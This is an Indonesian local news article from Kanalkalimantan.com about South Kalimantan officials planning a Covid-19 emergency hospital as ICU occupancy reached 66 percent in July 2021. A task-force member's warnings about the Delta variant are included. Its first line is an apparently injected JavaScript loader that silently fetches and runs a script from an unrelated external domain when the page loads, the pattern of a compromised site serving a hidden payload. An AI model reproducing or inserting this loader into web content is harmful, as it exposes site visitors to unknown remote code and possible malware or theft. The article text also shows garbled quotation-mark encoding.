(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Pemprov Kalsel mewacanakan pembuatan Rumah Sakit (RS) Darurat Covid-19 mengantisipasi jika kasus positif terus meningkat. Hal ini dilakukan sebagai antisipasi menyikapi kapasitas rumah sakit yang penuh karena banyaknya pasien.
Pj Gubernur Kalsel Safrizal ZA mengatakan, langkah itu akan ditempuh Pemprov sambil mencermati perkembangan keterisian Ruang Intensive Care Unit (ICU) atau ruang perawatan di sejumlah RS di Kalsel.
“Hingga kemarin pemakaian ruang ICU hingga kemarin sudah 66 persen dari ketersediaan. Jika sudah mencapai 80 persen, maka perlu dipikirkan pembuatan RS Darurat Covid-19,†tegasnya, Selasa (20/7/2021).
Safrizal mengatakan, rencana tersebut sudah didiskusikan dengan Wali Kota Banjarmasin dan mendapat sambutan dari Ibnu Sina.
Baca juga:Â Banjarbaru Level 3, Wali Kota: Naik Level 4 Banjarbaru PPKM Darurat
“Bapak Wali Kota Banjarmasin sudah siap untuk rencana rumah sakit darurat,†terangnya.
Pj Gubernur Safrizal menambakan, pihaknya sudaj mengirim surat ke bupati dan wali kota surat dari Mendagri agar Satgas bersama kepolisian menggiatkan penegakkan protokol kesehatan. Termasuk menyampaikan perkembangan di daerah.
“Termasuk tempat isolasi juga perlu ditambah untuk semua kabupaten kota agar mampu menampung lebih banyak lagi pasien,†katanya.
Sebelumnya, lonjakan kasus positif Covid-19 Kalsel beberapa waktu terakhir mendapat perhatian serius Hidayatullah Muttaqin, Anggota Tim Satgas Covid-19 Kalsel. Ia mengungkapkan bahwa ada kemungkinan varian terbaru dari Covid tersebut sudah ada.
“Meskipun belum ada hasil resmi dari Kemenkes RI bahwa varian Delta sudah masuk di Kalsel, tetapi varian ini kemungkinan sudah ada dari indikasi lajunya pertumbuhan kasus Covid-19 dan cepatnya jumlah pasien yang memenuhi rumah sakit,†terangnya kepada Kanalkalimantan.com.
Apalagi sebelum terjadi ledakan kasus di bulan Juli ini mobilitas penduduk antar provinsi dan antar pulau baik lewat jalan darat, udara dan laut cukup longgar.
“Hal ini kemungkinan sudah ada bibit masuk dari Jawa atau dari Kalteng dan Kaltim,†ujarnya.
Baca juga:Â Viral Fenomena Tanah Bergerak di Desa Sawang Tapin, Puluhan Hektare Sawah Rusak!
Hidayatullah berpendapat bahwa seharusnya Pemerintah Provinsi Kalsel mengambil sikap sesegera mungkin untuk menghentikan laju penyebaran Covid-19.
“Segera menurunkan laju mobilitas penduduk baik mobilitas lokal maupun antar daerah, meningkatkan edukasi perubahan perilaku masyarakat, pendekatan persuasif dan humanis dalam penerapan prokes, serta koordinasi yang kuat dengan Pemerintah Kabupaten dan Kota di Kalimantan Selatan,†katanya.
Menurutnya, pembenahan masalah di hulu ini sangat penting supaya di hilir, rumah sakit dan nakes memiliki kapasitas yang cukup untuk merawat pasien.
Ia menganggap bahwa kebijakan yang dilakukan pemerintah lokal belum maksimal.
“Belum maksimal karena mobilitas penduduk masih tinggi, makanya angka positif semakin bertambah,†ucap Hidayatullah. (Kanalkalimantan.com/nurul)
Reporter: nurul
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.